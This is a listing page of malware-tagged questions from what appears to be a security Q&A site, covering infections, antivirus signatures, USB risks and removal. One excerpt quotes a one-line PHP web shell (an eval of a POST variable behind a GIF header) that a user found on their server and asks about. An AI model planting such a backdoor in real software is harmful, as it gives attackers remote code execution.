Malware is any software application which subverts the will of the legitimate owner of a computer, by means of force or subterfuge, with or without personal or monetary gain on the part of the creator.

learn more… | top users | synonyms (1)

7
votes
2answers
418 views

Where Does ClamAV Get Its Virus Signatures?

I see that ClamAV has virus definition files which are mostly hash codes in md5, sha1, and sha256 formats, which either look at the whole file or what are called PE sections of an executable file. Of ...
0
votes
0answers
33 views

Where can I find a dataset of URLs of websites that diffuse malware? [duplicate]

In order to study some malware detection algorithms I am developping in my PhD, I would like to know where I could download a list of malware websites. Thank you
27
votes
4answers
2k views

Are anti-virus companies companies regularly committing software piracy?

As Mikko Hypponen highlighted in a recent tweet, anti-Virus companies collect and store both samples of malicious software and samples of legitimate software: This got me to thinking, what ...
8
votes
2answers
344 views

Can a malware infect just by right clicking?

Someone I know got infected. He sent me the file to analyze. I downloaded the zip and it contained a scr file. I unzipped it and right-clicked to open it in Notepad++. It immediately got quarantined ...
0
votes
1answer
91 views

How do I remove a metasploit infection?

My brother in law sent me a link in a Facebook PM for dummy me to click on. I did, nothing happened, I thought nothing of it. Well he told my husband since I clicked on it he can now hack my Facebook ...
1
vote
2answers
156 views

Implications of Intel's SGX extension for malware detection and white hat reverse engineering

Intel's new SGX extension is concerning. It allows the programmer to create enclaves in their program where the data is encrypted until it is used. This is apparently supposed to be used for cloud ...
-1
votes
1answer
116 views

Can Malware Infect Hardware/Firmware

So, my MacBook Pro packed it in over the weekend after I drunkenly vomited all over the keys. I brought it to the Apple store (without the hard drive installed) for an assessment. The results of this ...
2
votes
0answers
27 views

Can I trust LPS?

LPS protects against spyware/malware by booting an OS from trusted media without reading from hard drives. However, not all components are open source. How do I know the US DoD didn't include ...
37
votes
5answers
4k views

Risk of tampering when hardware shipment is delayed

I am currently receiving an order of computer parts in the mail including an SSD. Tracking showed that the package arrived in my town on day X, and was originally scheduled for delivery on day X as ...
1
vote
4answers
84 views

What are cookies and cache?

While surfing on the Internet, I am often afraid that I may have downloaded some malware program along with some files on my computer. Furthermore, I have been told that the reason for that are ...
2
votes
1answer
99 views

Data Leakage Prevention tips for regular home users

I am a "power user" with a limited knowledge of information security. I frequently store confidential documents on my computer. How can I protect these against a rootkit that gives an attacker ...
3
votes
2answers
179 views

Mystery IP address Hijack

I'm working on a customer's new website. To get things up and running quickly, we're maintaining his domain name service and hosting the website on another server. Customer bought the URL name years ...
4
votes
2answers
123 views

Can single-purpose PCs be useful as a security measure in this situation?

In the context of a small scale operation, we are considering use of single special purpose PCs allocated to single security-sensitive tasks - for example, certain financial operations. The intended ...
5
votes
3answers
185 views

Best practice for home router configuration

Having read about the large number of routers infected by Wifatch, I've realised I don't know how to check whether my router has been infected with this or more malicious malware or what I'd do about ...
1
vote
2answers
352 views

How to find why so many host are talking to an IP which is blacklisted

In my SIEM tool, I got multiple alerts for communication with malware sites from Palo Alto firewall. I have seen many outbound communications from internal IPs toward IP: 74.217.31.51 having host ...
-1
votes
2answers
84 views

Need tool to detect malware in several pdfs in Windows environment [closed]

I am looking for a Windows product that could detect malware in several pdfs in Windows environment. I don't want to use Python and I don't want to use Stream Dumpler. I am looking for something ...
0
votes
0answers
333 views

Tradeadexchange everywhere. On my mac, android and every browser

The tradeadexchange malware seems to have infected me in every possible way. It pops up new tabs whenever I am browsing on my Mac or Android devices, and also in any browser-Firefox/Chrome/.. ...
27
votes
4answers
13k views

Is HTML5 vibrate feature a security vulnerability?

While surfing a news website on my mobile, I receive a virus infection alert warning that triggers my phone to vibrate incessantly. The alert looks like the following: I didn't expect my phone to ...
0
votes
1answer
70 views

Malicious .scr file partially executed: sohanad?

I executed a .scr file, (without prior checking of the file ending, because the filename was longer than what the explorer showed) and there was a popup saying something. Instant realization that I ...
0
votes
2answers
287 views

Virus (or Trojan) in Android

Definition of virus is (from Wikipedia): A computer virus is a malware program that, when executed, replicates by inserting copies of itself (possibly modified) into other computer programs, data ...
0
votes
1answer
74 views

Dealing with a malware infected server

I have a web server which is heavily infected by malware. That is, around 12 websites (Outdated CMS) are infected by PHP shells and XSS. My websites are banned and are not accessible anymore. I have ...
45
votes
3answers
5k views

Can USB drive infect my PC with malware if I don't allow any autorun.inf to run?

Assuming that I'm using a trusted USB flash drive (meaning that it's not some device that looks like a USB drive and whose purpose is to damage my PC), is it possible for my PC to get infected from ...
2
votes
2answers
1k views

Is copying & pasting to the clipboard vulnerable to keyloggers? (CTRL+C and CTRL+V) [duplicate]

If I copy a username/password from an email and paste it into an FTP client or an online form in the browser, can keyloggers capture this private information? And does it make any difference whether ...
1
vote
1answer
64 views

Access to email without antivirus [duplicate]

I am doing a test where we want to asses whether an email with a benign virus in it, exits a network. I need a means to receive the test emails I am sending from inside the network, without any ...
8
votes
5answers
7k views

Is it possible for a phone to be transmitting even while turned off and the battery removed?

Is it technically or theoretically possible for any part of a mobile phone's circuitry to be still on and transmitting even while turned off and the battery has been removed? If so, how? I am ...
0
votes
1answer
97 views

Strange browsing problem, unknown images

When I open any site, I sometimes see unknown images replacing the original images on the website. They are not ads and can't be clicked. Just random images of people, cartoons etc. When I refresh ...
0
votes
1answer
51 views

Why only Google warn us about attackers?

There are so many search engines like ask.com, yahoo.com and many more, but only Google warn us about attackers. Why so?
4
votes
3answers
245 views

How do professional hackers to test their own malwares/viruses without harming their own computer?

Yesterday I started some hacking tutorials on http://xeushack.com/tutorials/ by curiosity. I used the Android app to read the different articles about different ways of "hacking". The author clearly ...
0
votes
1answer
216 views

ISP has informed us that our server is launching brute force attacks on WordPress sites, how do we end this? [duplicate]

Misc Situation: -Server login is obtained by hacker, hacker places malicious brute force file in /hacked/bruteforce/ -Server password is then changed, hacker can still run script by navigating to ...
0
votes
2answers
150 views

Removing malware from a USB drive

Let's suppose I plugged in my UBS flash drive in my friends' PC and it got infected with malware. Is there a way I can wipe the USB drive without connecting it my or some other computer (and infecting ...
1
vote
1answer
516 views

ClamAV Flagging application .swf files as malware

ClamAV scans on our application servers are identifying some of our legitimate Flex .swf files as malicious, specifically citing CVE-2015-5548 (specifically, "Swf.Exploit.CVE_2015_5548 FOUND"). ...
0
votes
2answers
77 views

Why does malware modify proxy settings?

During dynamic analysis, I have noticed that Adware and some Trojans modify the proxy settings within the Windows Registry. What is the purpose behind making this modification? The most common keys I ...
7
votes
3answers
5k views

Exactly how secure is VM browsing?

I generally do all of my web browsing in a VM. I have one "safe" VM running Ubuntu that has guest services installed. I generally only go to sites I deem are trustworthy here. I also have an "unsafe" ...
0
votes
1answer
717 views

Help me understand this adware (compute-1.amazonaws.com)

I ran TCPdump on my Macbook and saw a lot of communication going back and forth between 10.239.68.143 and compute-1.amazonaws.com. I looked up my private IP address with ifconfig and found that that ...
2
votes
2answers
98 views

Disabling downloads in the browser; are there any benefits?

I was playing around with the security settings in my browser (IE) after being attacked by malware. I noticed an option to disable downloads. If I were to disable downloads, and re-enable them when ...
1
vote
3answers
85 views

Root access and malware

Would it help to defend against malware if I use a less privileged Windows 7 account for my day-to-day work?
0
votes
2answers
220 views

Can somebody explain what this obfuscated JS code received by email does? It fools AVG, MWB, Spybot, which all report it SAFE!

Below is the JS code. I would like to understand how it extracts the malware code, and what it does. I tried to Google parts of the original str, as well as convert it from hex to ASCII: (URR^ $ ...
3
votes
1answer
153 views

Android ransomware difficulties [closed]

My phone is a Samsung Galaxy S2. I have somehow gotten some ransomware that is displaying device information, including my name and recent contacts' data. The ransomware starts basically right away, ...
2
votes
1answer
567 views

HTML iframe security exploit

Can somebody explain if there's something malicious in this HTML, The width and height of the iframe ares set to 1 and it's out of the view with top: -100px; statement. I believe it takes some some ...
6
votes
8answers
246 views

Difference between virus and trojan?

To my current understanding: a virus is a program that does not self replicate and relies on the host file being spread, it has malicious intent. A trojan is a program that is run be deceiving the ...
3
votes
0answers
51 views

“Segmented” malware

I've been researching how anti-malware tools function and I feel like I'm missing something with heuristic analysis. What I've learned so far Anti-malware programs can use heuristic analysis and ...
2
votes
3answers
1k views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
2
votes
0answers
149 views

How to scan large .bin files for malware?

I know about websites like VirusTotal, and programs like herdprotect. I'm using Avira and Superantispyware, but once the large bin files are scanned, usually nothing is found. But after running an ...
24
votes
2answers
5k views

Why is spreading malware.scr instead of malware.exe more common?

Both are binaries and I guess that AV products know that .scr files that are not screensavers should be dealt with with "special care". I see quite a lot of "Document.pdf.scr" malware samples and ...
1
vote
4answers
141 views

Redirection Malware Infection

I have AVG Antivirus installed on my PC. My PC is infected with some kind of bonjovi redirection malware. It randomly opens up a new tab in Chrome and loads porn sites. I have had this infection in ...
10
votes
2answers
911 views

Does Android have sufficient app sandboxing?

In a previous question in InfoSec, I asked about how to determine the safety of a sideloaded Android app that requires root permissions. Now I would like to ask a related, but different question: Is ...
1
vote
0answers
166 views

Is checking out network traffic for suspected malware useless if the malicious actor is in a different timezone? [closed]

I had recently upgraded from OS X 10.10 (Yosemite) to OS X 10.11 (El Capitan) from a bootable drive that the Genius Bar of one of the my city's Apple stores has, and I installed the 10.11.1 update ...
3
votes
4answers
30k views

How to check if computer is controlled remotely

My laptop has windows 7 installed. One Saturday night I couldn't fall asleep and was just lying in bed. Then suddenly at around 2 in the morning I heard the fan of the laptop start up and lights on ...
10
votes
2answers
930 views

Effectiveness of flattening a PDF to remove malware

I'm currently looking at ways to prevent malicious PDF files at the network boundary. This will include virus scanning - but there are known limitations to that. I see a common approach is to flatten ...
130
votes
5answers
16k views

How can USB sticks be dangerous?

We all know the story of the USB drive left outside a power plant which was found by a worker and inserted into a computer to see the contents which then allowed a hack to ensue. Here is my question, ...